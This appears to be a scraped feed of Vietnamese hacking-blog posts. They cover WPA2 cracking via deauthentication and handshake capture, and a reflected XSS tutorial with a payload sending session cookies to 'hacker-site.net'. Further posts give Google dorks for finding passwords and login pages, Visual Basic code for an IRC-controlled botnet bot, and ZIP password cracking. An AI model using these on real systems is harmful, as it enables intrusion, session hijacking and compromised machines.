Bài viết mới nhất là :

Ad sẽ so sánh việc dùng  Aircrack-ng versus coWPAtty bằng thời gian để bẻ khóa mã dùng WPA2 PSK

Các công cụ AD sẽ dùng ở đây là

  • Aircrack-ng (Dictionary Attack)
  • Aircrack-ng & airolib-ng (Pre-computed hashes)
  • coWPAtty (Dictionary Attack)
  • coWPAtty & Genpmk (Pre-computed hashes0

Phương pháp

Để thực hiện bẻ khóa WiFi sử dụng WPA/WPA2 PSK thì bạn cần phải bắt được gói tin ‘Handshake”. Cách tốt nhất để làm được việc này là chúng ta sẽ kết nối và ngắt kết nối một client liên tục đang ở trong mạng.( Nếu cứ liên tục làm bước này thì là bạn đang DoS đến client đó !

Khi bạn đã bắt được key Handshake thì bây giờ việc duy nhất bạn cần làm đó là thực hiện Offline Dictionary Attack. Nếu key có trong từ điển thì bạn chỉ việc đợi cho phần mềm tìm ra key đó là xong. Và ngay sau đó bạn có thể truy cập vào mạng đó.

Tuy nhiên cách này có hai nhược điểm đó là :

  • Phải có client đang kết nối với mạng đó
  • Key phải có trong wordlist

Bạn có thể tăng tốc bằng việc tạo ra những pre-calculated hash từ các wordlist.

Bạn có thể xem bảng sau để có thể thấy nó đã nhanh hơn như thế nào :

 

The post Crack WiFi – WPA/WPA2 (Aircrack-ng vs coWPAtty) appeared first on Hacker Anonymous Việt Nam.

Được đăng tại : http://anonymousvn.tk/

Bài viết mới nhất là :
This entry is part 1 of 1 in the series Cross-site Scripting (XSS)

Cross-Site Scripting (XSS)- Reflected XSS 

Cross-Site Scripting (XSS) là một trong những kĩ thuật tấn công phổ biến nhất hiện nay, được mệnh danh là Godfather of Attack, và trong nhiều năm liền được liệt vào danh sách những kỹ thuật tấn công nguy hiểm nhất với ứng dụng web.

Không gọi là tắt là CSS để tránh nhầm lẫn với khái niệm Cascading Style Sheet của HTML.

Kỹ thuật XSS được thực hiện dựa trên việc chèn các đoạn script nguy hiểm vào trong source code ứng dụng web. Nhằm thực thi các đoạn mã độc Javascript để chiếm phiên đăng nhập của người dùng.

Để hiểu rõ hơn, AD sẽ cũng các bạn xét ví dụ sau. Một ứng dụng web cho phép in ra giá trị mà chúng ta truyền vào thông qua URL, giả sử truyền vào biến name giá trị Ping

3-17-2014-6-10-09-pm-700x98

 

Mọi chuyện đến giờ vẫn ổn, chúng ta xem lại source code html

3-17-2014-6-11-59-pm

 

 

Điều dễ nhận thấy là giá trị tên mà chúng ta nhập vào đã được chèn vào source code. Vậy thì bạn hãy đoán rằng có khả năng là cái gì nhập vào cũng có thể được chèn vào. Và nếu như vậy thì tất nhiên là vấn đề sẽ trở nên nghiêm trọng nếu như giá trị được nhập vào không phải là một chuỗi bình thường như trên mà là một đoạn mã lệnh có khả năng gây nguy hiểm, đại loại như thế này:

alert(document.cookie)

Thử lại với giá trị trên:

3-17-2014-6-17-53-pm-700x294

 

Từ ví dụ này có thể kết luận 2 điều. Thứ nhất biến name có thể nhận giá trị đầu vào bất kỳ và truyền lên server xử lý. Thứ 2, server đã không kiểm soát giá trị đầu vào này trước khi trả về cho trình duyệt. Dẫn đến việc đoạn mã javascript đã bị chèn vào trong source code.

XSS nói chung được chia làm 3 loại chính là Reflected, Stored và DOM based. Trong bài viết này AD sẽ đề cập chính đến kỹ thuật Reflected XSS. Hai kĩ thuật còn lại sẽ được trình bày ở các phần sau  :mrgreen:

Có đến 75% kỹ thuật XSS dựa trên Reflected XSS. Gọi là reflected (phản xạ) bởi vì trong kịch bản khai thác loại này, hacker phải gửi cho nạn nhân một URL có chứa đoạn mã nguy hiểm (thường là javascript). Nạn nhân chỉ cần request đến URL này thì ngay lập tức hacker sẽ nhận được respond chứa kết quả mong muốn(tính phản xạ thể hiện ở đây). Ngoài ra nó còn được biết đến với tên gọi First-order XSS.

Kịch bản khai thác trong thực tế

Có nhiều hướng để khai thác thông qua lỗi Reflected XSS, một trong những cách được biết đến nhiều nhất là chiếm phiên làm việc (session) của người dùng, từ đó có thể truy cập được dữ liệu và chiếm được quyền của họ trên website.

Chi tiết được mô tả theo các bước như sau:

3-17-2014-5-51-21-pm-700x398

  1. Người dùng đăng nhập web và giả sử được gán session:
    Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4
    
  2. Bằng cách nào đó, hacker gửi được cho người dùng URL:
    http://ift.tt/1jSBQ8p;
    

    Giả sử example.com là website nạn nhân truy cập, hacker-site.net là trang của hacker tạo ra

  3. Nạn nhân truy cập đến URL trên
  4. Server phản hồi cho nạn nhân, kèm với dữ liệu có trong request(đoạn javascript của hacker)
  5. Trình duyệt nạn nhân nhận phản hồi và thực thi đoạn javascript
  6. Đoạn javascript mà hacker tạo ra thực tế như sau:
    var i=new Image; i.src=”http://ift.tt/1HYcth3;
    

    Dòng lệnh trên bản chất thực hiện request đến site của hacker với tham số là cookie người dùng:

    GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1
    Host: hacker-site.net
    
  7. Từ phía site của mình, hacker sẽ bắt được nội dung request trên và coi như session của người dùng sẽ bị chiếm. Đến lúc này, hacker có thể giả mạo với tư cách nạn nhân và thực hiện mọi quyền trên website mà nạn nhân có.

AD viết bài này theo cách hiểu của AD,nên có lẽ sẽ hơi khó hiểu với một số người. Nếu ai không hiểu thì cmt vào đây nhé ^^.

Trong các bài viết tiếp theo, AD sẽ trình bày chi tiết hơn về 2 loại còn lại của kỹ thuật XSS.

The post Các kiểu khai thác XSS – Phần 1: Reflected XSS appeared first on Hacker Anonymous Việt Nam.

Được đăng tại : http://anonymousvn.tk/

Bài viết mới nhất là :
This entry is part 3 of 3 in the series Bảo mật mạng

Ai trong chúng ta cũng đều biết, Google là một gã khổng lồ trong lĩnh vực tìm kiếm. Người ta có thể tìm thấy mọi thông tin từ Google. Từ những chuyện to lớn, đến những chuyện nhỏ nhặc nhất cũng có thể tìm được trên Google. Bất kể thông tin gì, miễn là nó hiển thị ra trang web thì đều được google tìm thấy.

Chương trước, chúng ta đã có nhắc đến kỹ thuật theo dõi Footprinting, và sau này bạn gặp một chủ đề là Social engineering , cả hai lĩnh vực này đều có một phần ứng dụng từ Google để tìm kiếm thông tin, phục vụ cho nhu cầu tấn công hệ thống.

Lợi dụng vào bộ máy tình kiếm Google để truy tìm tông tích đối tượng, thậm chỉ là dùng Google để tấn công hệ thống. Đó chính là Google Hacking.

Với khả năng tìm kiếm lợi hại của Google, hacker có thề tìm thấy nhiều thông tin hữu ích, cho quá trình theo dõi mục tiêu và tấn công vào đối tượng. Chương này sẽ trình bày những thủ thuật tìm kiếm nổi trội của Google, có ý nghĩa đối với một hacker. Từ việc làm thể nào để bạn tìm được thông tin của mục tiêu, thì bạn sẽ rút cho mình kinh nghiệm làm thế nào đề không cho thông tin bị rò ra bên ngoài.

1.  Google Hacking Là Gì ?

Nói tóm lại, Google hacking thực hiện những công việc như:

·        Sử dụng bộ máy tìm kiếm để truy tìm thông tin của đối tượng cần theo dõi.

·        Cũng là bộ máy tìm kiếm, với những cú pháp tìm kiếm đặc biệt có thể giúp hacker tìm thấy những thông tin đặc biệt có liên quan đến bảo mật, như username, computername, password, page login…

·        Sử dụng Google để thực hiện các vụ tấn công, điều này được làm như thế nào, hạ hồi phân giải. 😀

Những thông tin được chú tâm

Chức năng tìm kiếm của Google rất lớn, tùy vào phạm trù lĩnh vực mà chúng ta quan tâm đến những dữ liệu nào. Trong Hacking, chúng ta cần chú ý đến những dữ liệu như sau:

·        Sự cố mạng và những thông tin liên quan đến các server có lổ hổng bảo mật.

·        Những thông báo lỗi (error message) có chứa nhiều thông tin quan trọng.

·        File có chứa mật khẩu.

·        Thư mục có nội dụng nhạy cảm như config, system…

·        Trang đăng nhập (login page) vào website.

·        Trang chứa thông tin mạng hoặc dữ liệu nhạy cảm như Firewall log…

Google với kết quả tìm kiếm

Với Google, gõ từ khóa tìm kiếm càng ít thì kết quả càng nhiều, ngược lại từ khóa dài sẽ cho kết quả ít hơn. Kết hợp những từ khóa tìm kiếm đặc biệt, những cú pháp tìm kiếm của Google sẽ giới hạn phạm vi tìm kiếm, và có kết quả chính xác, nhanh hơn.

Kết quả tìm kiếm của Google thường rất là lớn. Con số vài ngàn là chuyện bình thường. Tuy nhiên, đã có bao giờ bạn xem đến những trang kết quả cuối cùng chưa. Chắc chắn là chưa, vì bạn chưa đủ kiên nhẫn. Nhưng chính ở những nơi hẻo lánh ít người đến đó, lại ẩn chứa những bí mật mà hacker nên đến. Với từ khóa tìm kiếm làadministrator, những trang đầu tiên, bạn có thể thấy những bài viết bình thường trên mạng có liên quan đến từ administrator. Nếu chịu khó đến những trang kết quả cuối cùng, bạn có thể tìm thấy thông tin của administrator đang quản lý một website nào đó. Hoặc với từ khóa username, chúng ta có thể tìm thấy một username đăng nhập hệ thống.

2.  Google Hacking Basic

Bây giờ chúng ta sẽ bắt đầu trò chơi thật sự. Những chuyện tưởng chừng như đơn giãn là tìm kiếm trên Google, lại có thể mang lại nhiều thứ cho hacker. Ngay sau đây, bạn sẽ tìm hiểu về các kỹ thuật hacking của google. Nó đơn giãn là các chức năng quá hay của Google mà thôi.

Anonymity with Caches

Chức năng Cache thật sự là quá tuyệt vời của Google. Google lưu lại nhiều website mà bạn và những người khác truy cập. Bất cứ khi nào, bạn đểu có thể xem lại trang web được lưu trong bộ nhớ cache này của google, ngay cả khi nó đã bị xóa khỏi server trên mạng. Và như đã nói Google Cache lưu lại mọi thứ.

Hình 3. 1: Tất cả mọi thứ đều được lưu lại trong Cache

Google lưu lại mọi dữ liệu mà nó thu thập được. Có đến hàng Tegabyte dữ liệu web bị rò rỉ hằng năm. Hacker có thể lợi dụng vào Google để thực hiện một cuộc tấn công ẩn danh.

Bạn đăng một thông tin lên website của mình. Một thời gian không lâu sau đó, bạn xóa trang đó đi, vì không muốn tin này phát tán nữa. Thế nhưng mọi người vẫn xem được những thông tin đó do bạn đăng lên. Họ đã không xem trực tiếp từ website của bạn mà xem trong bộ nhớ cache của Google.

Bạn vào trang điền thông tin cá nhân khi đăng ký tham gia một trang web bán hàng trực tuyến. Thật tai hai, khi thông tin đó của bạn được nhà cung cấp dịch vụ bán hàng hứa là giữ bí mật, mà nó vẫn bị rò rỉ ra bên ngoài. Chuyện gì đã xẩy ra? Đó chính là vì bạn đã bị Google cache thông tin đó của bạn lại, khi bạn vào xem trang thông tin của mình.

Nói tóm lại, nhiều thông tin nhạy cảm của bạn và của công ty, tổ chức có thể bị Google cache lại. Và đến lúc nào đó bạn không muốn nó xuất hiện trên internet nữa, thì nó lại vẫn còn xuất hiện thông qua bộ nhớ cache của google.

Bất kì một người nào biết cách sử dụng google cũng có thể vô tình tìm thấy thông tin hữu ích trong bộ nhớ cached này.

Sử Dụng Google Như Một Proxy Server

Bạn đã bao giờ nghĩ Google Translate lại là một công cụ để khai thác dữ liệu chưa?

Sử dụng chức năng này chúng ta sẽ tìm hiểu đến công cụ Translate của google, tại địa chỉhttp://ift.tt/1J7JfKT Chúng ta đều biết nó dùng để dịch đoạn văn bản. Nhưng nếu chỉ có văn bản không, thì chúng ta đã không có Proxy Server. Chức năng Translate của Google còn cho phép dịch cả một trang web.

Điền địa chỉ trang web vào khung dịch văn bản, Google sẽ giúp chúng ta dịch cả trang web đó. Khi ấy, chúng ta đang truy cập vào website không đi trực tiếp từ máy của mình, mà thông qua một máy khác là Google.

Trong trang ví dụ dưới đây, tôi sẽ truy cập vào trang web http://anonymousvn.tk/ thông qua Google Translate.

Untitled

Hình 3. 2: Kết quả truy cập website aanonymousvn.tk thông qua Google Translate

Các bạn có thắc mắc là tại sao AD lại dịch từ tiếng Anh sang tiếng Việt hay không. Đó chính là vì AD muốn xem trang web của mình trong tiếng Việt, tiếng gốc của trang web. Đảm bảo các bạn sẽ gặp lỗi nếu cố gắng chuyển một trang tiếng Việt sang tiếng Việt đấy ^^

Xem xét một kết quả của trình tcpdump (trình bắt gói tin), nó thể hiện quá trình giao tiếp giữa máy tính của người dùng với internet, khi người dùng truy cập website.

Hình 3. 3: Kết quả TcpDump

Đầu tiên máy tính của bạn (192.168.2.32:53466) gửi yêu cầu đến web server (64.233.171.104:80) đây là máy chủ của Google, và toàn bộ quá trình giao tiếp chuyển dữ liệu không hề xuất hiện máy chủ anonymousvn.tk.

Directory Listings

Directory Listings là một website đặc biệt, nó hiển thị danh sách các file và thư mục tồn tại trên server. Đặc điểm của website kiểu này là không cần lập trình, thiết kế web phức tạp. Nó được dùng trong các trường hợp chia sẽ tài nguyên. Cũng giống như FTP, chúng ta hoàn toàn phần quyền được trên các file và directory này.

Hình 3. 4: Kết quả của Directory Listings một website

Hầu hết các ứng dụng webserver sẽ hiển thị danh sách thư mục như thế khi trong địa chỉ truy cập không có trang mặc định (default page). Những trang mặc định như index.php, default.html…đã không được người lập trình web đưa vào thư mục. Thật là tai hại khi thư mục đó có chứa nhưng tập tin quan trọng, như config.php.

Nếu bạn là người phát triển website thì hãy đặc biệt chú ý đến vấn đề này. Có nhiều cách nếu bạn không muốn liệt kê thư mục trong trình duyệt kiểu này. Đơn giãn là thêm file default page rõng vào thư mục. Khi đó người dùng truy cập vào thư mục chỉ thấy một trang nội dung trắng. Cách khác là dùng file cấu hình .htaccess để tạo no-index

Để tìm kiếm những trang web như thế bạn có thể sử dụng từ khóa index of / Tại sao như vậy. Hãy xem hình 3.4, bạn thấy các trang web hiển thị thư mục đểu có phần nội dung là index of

Tìm kiếm thư mục và tập tin đặc biệt

Đó là những thư mục như adminitrator, configuration, hay những file *.log, *.sys, *.conf… đều là những file chứa những nội dung nhạy cảm của một trang web

Nếu muốn tìm những thưc mục đặc biệt như thế có thể kết hợp thêm từ khóa intitle:

Ví dụ cú pháp: intitle: index of admin hoặc intitle: index of inurl: admin sẽ cho chúng ta kết quả là những trang web có liên quan đến trang quản trị của website.

Cú pháp intile: index of ws_ftp.log sẽ giúp chúng ta tìm kiếm file ws_ftp.log

Hình 3. 5: Kết quả tìm kiếm thư mục đặc biệt

Server version

Tìm kiếm thông tin phiên bản của ứng dụng phía server sẽ giúp cho hacker có kế hoạch tấn công tốt hơn. Có nhiều cách tìm kiếm thông tin server:

·        Dựa vào HTTP Header cũng có thể tìm thấy số phiên bản của ứng dụng.

·        Một vài công cụ dò tìm (scanning) cũng có thể giúp đỡ.

·        Trong chức năng Directory Listings ở trên cũng có hiển thị thông tin server ở dưới, xem lại hình trên chúng ta sẽ thấy rõ dòng thông tin phiên bản của ứng dụng là: Apache / 2.0.52 (Unix) Server at xml.apache.com Có nghĩa là server đang chạy hệ điều hành Unix, ứng dụng Apache phiên bản 2.0.52 cho webserver, và web server có địa chỉ là xml.apache.com.

Để tìm kiếm thông tin phiên bản ứng dụng, có thể dùng cú pháp Server at Ví dụ như intitle: index of / “server at”

Directory Traversal

“Travel” là du lịch, Directory Traversal có thể tạm hiểu là “đi dạo qua các thư mục”. Để lý giải cho vấn đề này, chúng ta cùng quay lại với kết quả của Directory Listing ở hình dưới đây.

Hình 3. 6: Kết quả hiển thị cũa Derectory Listing

Kết quả này đang hiển thị danh sách thư mục cho đường dẫn …/bpa/acadunits/admin/envr/bowman. Nếu để ý, chúng ta thấy có thư mục « admin » nằm ở trên thư mục hiện hành hai cấp. Và chúng ta còn thấy một liên kết Parent Directory ở ngay hàng đầu. Đều đó có nghĩa là nếu bấm vào liên kết này, chúng ta có thể đi đến được thư mục admin, và còn có thể duyệt qua tất cả các thư mục khác.

Đến đây, có thể hiểu Traversal là một kỹ thuật mở rộng kết quả tìm kiếm, từ một mục tiêu nhỏ.

Bằng cách sử dụng công cụ tìm kiếm của Google, không khó để bạn tìm đến những thư mục như thế. Ví dụ với cấu trúc tìm kiếm là

site:cl.uh.edu inurl:bpa/acadunits/admin ws_ftp.log

chúng ta có thể tìm thấy nhiều file đặc biệt, và nhiều hơn nữa những thông tin cần thiết.

Để có thể duyệt hết cây thư mục, chúng ta còn một cách nữa, là thay đổi vài nội dung trong URL. Ví dụ bạn có thể thay đổi từ admin ở trên thành những từ khác có ý nghĩa như student, public, teacher…

Incremental Substitution

Đây cũng là một kỹ thuật dùng để duyệt file và thư mục. Cũng bằng cách suy luận, và thay đổi những ký tự cần thiết trong đường dẫn URL, chúng ta có thể tìm thấy những file hoặc thư mục cần thiết.

Ví dụ: Bạn đã tìm thấy file với đường dẫn là … /docs/bulletin/2.xls Vậy nếu thay đổi thành …/docs/bulletin/3.xls thì chúng ta có khả năng tìm thấy được file 3.xls.

Một ví dụ khác, bạn tìm thấy đường dẫn …/DigLib_thumbnail/spmg/hel/0001/H/… Thử thay đổi thành … /DigLib_thumbnail/spmg/hel/0002/H/… Biết đầu sẽ tìm thấy những điều bất ngờ.

Bằng cú pháp tìm kiếm filetype:xls inurl:1.xls or intitle:index.of inurl:0001 Bạn có thể tìm thấy những file khác tương tự như vậy.

Hacking Tool

Một vài công cụ download, như IDM (Internet Download Manager), có chức năng giúp người dùng tìm và tải nhiều file chỉ có một phần đường dẫn thay đổi. Ví dụ bạn có tìm tải tất cả các file có đường dẫn là….http://ift.tt/1NTyU9w Trong đó dấu * đại diện cho ký tự từ 001 đến 099

Extension Walking

Bạn đã thử dùng cú pháp filetype của Google. Nhiệm vụ của cú pháp này, là tìm kiếm tập tin có phần mở rộng được chỉ định. Chẳng hạn như filetype: HTML sẽ tìm những file có phần mở rộng là HTML.

Như vậy, nếu bạn biết rằng, vài định dạng file có nội dung quan trọng như .bak, .sql, .conf…Bạn có thể bắt đầu truy lùng ra chúng. Ví dụ bạn dùng cú pháp intitle:index.of index.php.bak Có thể chúng ta sẽ thấy được những điều bí ẩn.

3.  Google Advanced Operator

Chắc hẳn rằng, ai trong chúng ta cũng từ quen thuộc với những cú pháp tìm kiếm thông dụng của Google. Áp dụng những cú pháp đó, có thể giúp mình ra kết quả nhanh hơn, chính xác hơn. Tuy nhiên, vài cú pháp sau đây thì thích hợp cho hacker hơn.

Site

Là toán tử dùng để tìm kiếm thông tin trong một site. Điều này giúp chúng ta giới hạn phạm vi tìm kiếm lại. Ví dụ cú pháp site: anonymousvn.tk sẽ giới hạn phạm vi tìm kiếm trong trang web anonymousvn.tk

Intitle:index of

Cú pháp này đã có dịp chúng ta sử dụng để tìm kiếm thư mục. Nó cũng được xem là cú pháp lợi hại dành cho hacker

Error | Warning

Đây là hai cú pháp dùng để tìm kiếm thông tin lỗi. Một vài thông báo lỗi khi lập trình sẽ tạo một lỗ hổng cho hacker thừa cơ đột nhật.

Login | Logon

Cú pháp dùng để tìm trang logon. Nó có thể chỉ là trang đăng nhập website bình thường, nhưng cũng có thể là trang đăng nhập vào một hệ thống đặc biệt hơn. Đứng trước cửa rồi, việc tấn công vào trong thế nào còn tùy thuộc vào nhiều thứ.

Username | Userid | employerID | “your user name”

Đây là một loạt các cú pháp tìm kiếm user name để đăng nhật hệ thống. Tại sao chúng ta tìm được. Đó là do vài lỗi không để ý của người lập trình. Ví dụ anh ta vô tinh cho hiển thị thông báo “Tài khoản abc vẫn chưa kích hoạt”

Password | Passcode | “Your password is”

Cũng tương tự như cú pháp về username. Chúng ta dễ dàng tìm thấy nhưng câu thông báo đại loại như là“Your password is AHTlkYu

Admin | Administrator

Chúng ta có khoanh vùng tìm kiếm những thông tin có liên quan đến admin với từ khóa này. Những trang quản trị dành cho admin, những thông tin của admin, và nhiều thứ khác có liên quan đến admin. Kết hợp với chức năng cached của Google, hiệu quả công việc sẽ tăng lên.

–ext:html –ext:htm –ext:shtml –ext:asp –ext:php

Và còn nhiều hơn nữa những cú pháp có liên quan đến –ext. Cú pháp này giúp chúng ta tìm thấy những file mà chúng ta muốn. Với hacker nhưng file đó có thể kể đến như php, html, bak, conf, sys…

inurl:temp | inurl:tmp | inurl:backup | inurl:bak

Cũng giống như với ext, nhưng không tìm theo file nữa mà tìm theo thư mục. Những thư mục mà hacker quan tâm như temp, backup, admin, conf…

intranet | help.desk

Thông tin có liên quan đến bộ phận helpdesk của công ty cũng không thể bỏ qua trong cuộc tấn công. Cú pháp này giúp chúng ta tìm thấy nhiều thông tin có liên quan đến bộ phận helpdesk.

4.  Google Hacking Tool

Việc phải ghi nhớ những cú pháp tìm kiếm đặc biệt dành cho hacker trên đây làm chúng ta khó chịu. Rất may là đã nhiều công cụ hổ trợ chúng thực hiện những câu truy vấn tìm kiếm dễ dàng hơn.

Hình 3. 7: Trang web Google Hacking Database

Đầu tiên và cũng đáng gờm nhất là Google Hacking Database. Tại đây tập hợp kết quả tìm kiếm của hàng ngàn lỗ hổng bảo mật, những file có chứa username, những trang logon, những file có chứa nội dung quan trọng…Truy cập vào website http://ift.tt/1GxUgFR hay http://ift.tt/YwdhS1 để khai thác cở sở dữ liệu khổng lồ này.

SiteDigger Tool, Gooscan, Goolink Scanner là những công cụ hữu ích khác, cho phép chúng ta thực hiện quá trình tìm kiếm với những câu lệnh đặc thù hơn, chuyên biệt hơn của hacker.

Google Hack: Đây là cộng đồng của Google Hack tại địa chỉ http://ift.tt/1l8yEqp Cùng với công cụ mà các nhóm cung cấp, sẽ giúp chúng ta khai thác tối đa tiện ích của google trong quá trình tìm kiếm và tấn công hệ thống. Công cụ Google Hack chẳng những cho phép chúng ta tìm kiếm thông tin mà còn cho phép sử dụng Google như là một Proxy Server.

Hình 3. 9: Giao diện của Google Hacks

5.  Tổng kết

Kết thúc phần này, chúng ta cần hiểu rõ các vấn đề sau:

·        Google là một công cụ tìm kiếm mạnh mẽ, nhưng cũng vì mạnh mẽ mà nó trở thành một công cụ tấn công của Hacker.

·        Sử dụng công cụ của Google để tạo thành một Proxy Server, dùng trong trường hợp cần truy cập web ẩn danh.

·        Có nhiều thủ thuật tìm kiếm khác nhau, cho chúng ta kết quả mong đợi. Nhưng kỹ thuật tìm kiếm thư mục, tìm kiếm phiên bản server…Những toán tử và từ khóa quan trọng, nên biết, cũng được sử dụng trong tìm kiếm để khoanh vùng tìm kiếm.

·        Vài công cụ giúp chúng ta nhanh chóng hơn trong việc tạo câu truy vấn tìm kiếm.

The post CHƯƠNG 3: GOOGLE HACKING appeared first on Hacker Anonymous Việt Nam.

Được đăng tại : http://anonymousvn.tk/

Bài viết mới nhất là :

Botnet một cái tên nghe rất quen nhưng hầu như còn huyền bí với đa số dân CNTT Việt Nam

Để làm sáng tỏ về botnet và công nghệ tạo một bot hôm nay NoHat xin viết một tutorial về cách tạo một mạng botnet như là kim chỉ nam cho những người muốn hiểu rõ hơn về botnet.

I.Botnet là gì?

Botnet là một mạng gồm từ hàng trăm tới hàng triệu máy tính bị điều khiển hoàn toàn (theo thuật ngữ người ta gọi các máy tính này là Zombie tức các thây ma),chúng bị điều khiển để cùng làm một công việc gì đó theo mục đích của hacker điều khiển chúng vd: tải về cài đặt các chương trình quảng cáo, hay cùng đồng loạt tấn công một trang web nào đó thông qua kĩ thuật DDoS

II.Mạng BotNet đc tạo nên bởi gì ?

Nền tảng của BotNet là một chương trình máy tính đc thiết kế để liên lạc với hacker ,nhận lệnh và thực hiện lệnh của hacker, người ra gọi chương trình này là “Bot” (viết tắt từ robot).

III.Các con bot liên lạc với hacker bằng gì?

Kể từ những phiên bản đầu tiên các bot đã đc thiết kế để nhận lệnh thông qua các IRC server tức các máy chủ Internet Relay Chat một dạng máy chủ chạy dịch vụ chat công cộng (thường các máy chủ này là các máy chủ thuộc họ *nix ) để nhận đc lệnh từ hacker một cách nhanh nhất.

IV.Vậy các con bot đã dùng các server IRC như thế nào ?

Các máy chủ chạy dịch vụ IRC thường lắng nghe trên port 6667 ( một port cao ).Và các chương trình IRC server sử dụng một tập các chỉ thị gọi là lệnh IRC ( IRC commands )

Các bot thực hiện việc tạo một kết nối ( connection ) thông qua giao thức TCP/IP đến port 6667 của máy chủ IRC rồi sau đó dùng tập lệnh IRC để gửi và nhận các tin nhắn tới hacker.

V.Vậy các bot làm thế nào để có thể đc cài vào máy của người sử dụng bình thường ( Normal User ) ?

Các Bot đều có tính năng đầy đủ của một trojan và sự kết hợp nhuần nhuyễn từ virus vì vậy các con bot đều có thể tự lây lan thông qua các lỗ hổng của hệ điều hành và chiếm quyền điều khiển máy của “người dùng bình thường”.Ngoài ra một số bot không đc tích hợp tính năng lây lan nên nó cần đc sự hộ tống của một virus ( đây chính là dạng lây lan phổ biến của các bot hiện nay )

VI.Cách tạo một con “Bot”:

Với ví dụ này NoHat sẽ dùng ngôn ngữ lập trình Visual Basic để minh họa vì ngôn ngữ này đc nhiều người sử dụng nếu có thời gian NoHat sẽ post thêm bài viết về cách viết bot trên nền ngôn ngữ C++

Con bot này sẽ có tính năng cơ bản là kết nối tới server IRC và trả lời khi hacker hỏi “LiveOrNot”

1.Điều đầu tiên mà bạn phải học là tập lệnh IRC:

Tập lệnh IRC sẽ có sự khác biệt đôi chút khi nó chạy trên các chương trình quản lý IRC server khác nhau

Code:

USER <Real Name>  là lệnh thiết lập tên thật cho bot khi nó vào IRC server
NICK <NickName>   là lệnh thiết lập nick name cho bot
JOIN <Channel>   là lệnh cho bot truy cập vào một "kênh" (channel),channel tương tự như một room chat vậy
PRIVMSG <Channel> : <Message>  là lệnh gửi tin nhắn tới hacker

Thứ tự các lệnh từ 1 tới 3 mà NoHat nêu chính là thứ tự các lệnh mà bạn phải gửi tới IRC server

2.Một số Sub chính cho bot:

Khai báo hằng và biến:

Code:

Const Server As String = "irc.datviet.net"   'tên channel
Const Port As Integer = 23                        'port
Const Channel As String = "NoHat"             'Kênh mà bot sẽ chui vào
Dim Nick As String                                    'Nick của bot

Bạn tạo môt Form mới và kéo thả vào đó thành phần WinSock đặt thuộc tính name là ws

Code:

Private Sub Form_Load()
  ws.Connect Server, Port           'Tạo một kết nối tới server IRC
  Nick = "Tester" & LTrim(RTrim(Str(Int(Rnd * 100))))
 End Sub

Sub thực hiện việc gời command sau khi kết nối hoàn thành

Code:

Private Sub ws_Connect()
    Dim UserName, RealName As String
    UserName = Nick
    RealName = Nick
    ws.SendData "USER " & UserName & " 0 * " & RealName & vbCrLf
    ws.SendData "NICK " & Nick & vbCrLf
    ws.SendData "JOIN " & Channel & vbCrLf
    ws.SendData "PRIVMSG " & Channel & ":" & " Bot chao master" & vbCrLf
End Sub

Sub đáp trả khi bot nhận đc lệnh

Code:

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
    Dim strData As String
    Dim Pos As Integer
    Dim Master As String
    ws.GetData strData
    DoEvents
    If InStr(strData, "liveornot") <> 0 Then
        Pos = InStr(1, strData, "!")
        Master = Mid(strData, 2, Pos - 2)
        ws.SendData Replace(strData, "liveornot", "Live") & vbCrLf
        ws.SendData "PRIVMSG " & Master & " " & Replace(strData, "liveornot", "Live") & vbCrLf
    End If
EndSub

VII.Điều khiển bot thế nào ?

Để điều khiển bot bạn hãy cho chạy thử con bot trên để làm ví dụ
Sau đó bật một chương trình IRC Client nào đó ví dụ mIRC
Rồi kết nối vào máy server là irc.datviet.net với port 23 ( đáng nhẽ là port 6667 nhưng không hiểu sao đa phần các IRC server của Việt Nam lại dùng port 23 ?! ) với một nick tùy ý

gõ lệnh:

Code:

/JOIN NoHat   (phải có dấu "/" vì mIRC .... bắt phải thế chứ IRC server không bắt thế đâu )

là bạn đã có mặt trong cùng channel với bot của bạn

sau đó hãy gõ lệnh:

Code:

LiveOrNot      (chú ý viết hoa y chang nếu không con bot nó ngu ra mặt smilie )

Con bot sẽ trả lời bạn rằng

Code:

Live

 

The post Cách tạo một con Bot ( botnet ) cơ bản nhất appeared first on Hacker Anonymous Việt Nam.

Được đăng tại : http://anonymousvn.tk/

Bài viết mới nhất là :

Password Protected

To view this protected post, enter the password below:

The post Protected: Cơ bản về Botnet và cách hoạt động của botnet- botnet ddos appeared first on Hacker Anonymous Việt Nam.

Được đăng tại : http://anonymousvn.tk/
Bài viết mới nhất là :

:roll: Dùng Python :mrgreen:

Ad sẽ hướng dẫn để bẻ khóa file ZIP với python dùng phương pháp Dictionary Attack nhé

Chúng ta sẽ cần

  • Sử dụng một số hàm cơ bản trong thư viện zipfile của python
  • Cách sử dụng Thread đơn giản trong python.
    Ý tưởng chính ( và rất đơn giản :D) của script này như sau:
  • Tạo 1 file zip được bảo vệ bởi mật khẩu.
  • Có file dictionary.txt chứa các chuỗi ký tự có thể là mật khẩu, mỗi chuỗi ký tự nằm trên một dòng.
  • Lần lượt sử dụng dữ liệu trong file dictionary.txt để giải nén dùng hàm extractall(), nếu đúng thì in ra màn hình mật khẩu tìm được.
    Thực hiện:
  • Tạo file 1.zip có mật khẩu anonymousvn

Mã (text):

root@agent1 [~/py]# zip -P anonymousvn 1.zip 1.txt 2.txt
root@agent1 [~/py]# ll
total 92K
drwxr-xr-x 2 root root 4.0K May 6 21:00 ./
drwxr-x--- 16 root root 4.0K May 6 20:58 ../
-rw-r--r-- 1 root root 318 May 6 21:00 1.zip

 

root@agent1 [~/py]# cat dictionary.txt
abc
abc@
abc@123
21345
123123
abcdef
hacker
python
vietnam
cham
info
abc@0510
anonymousvn

File dictionary.txt

Và quan trọng nhất là :

  • Đoạn script dò mật khẩu :mrgreen:

Mã (Python)

 

The post appeared first on Hacker Anonymous Việt Nam.

Được đăng tại : http://anonymousvn.tk/

Bài viết mới nhất là :

Ai trong chúng ta cũng đều biết, Google là một gã khổng lồ trong lĩnh vực tìm kiếm. Người ta có thể tìm thấy mọi thông tin từ Google. Từ những chuyện to lớn, đến những chuyện nhỏ nhặc nhất cũng có thể tìm được trên Google. Bất kể thông tin gì, miễn là nó hiển thị ra trang web thì đều được google tìm thấy.

Chương trước, chúng ta đã có nhắc đến kỹ thuật theo dõi Footprinting, và sau này bạn gặp một chủ đề là Social engineering , cả hai lĩnh vực này đều có một phần ứng dụng từ Google để tìm kiếm thông tin, phục vụ cho nhu cầu tấn công hệ thống.

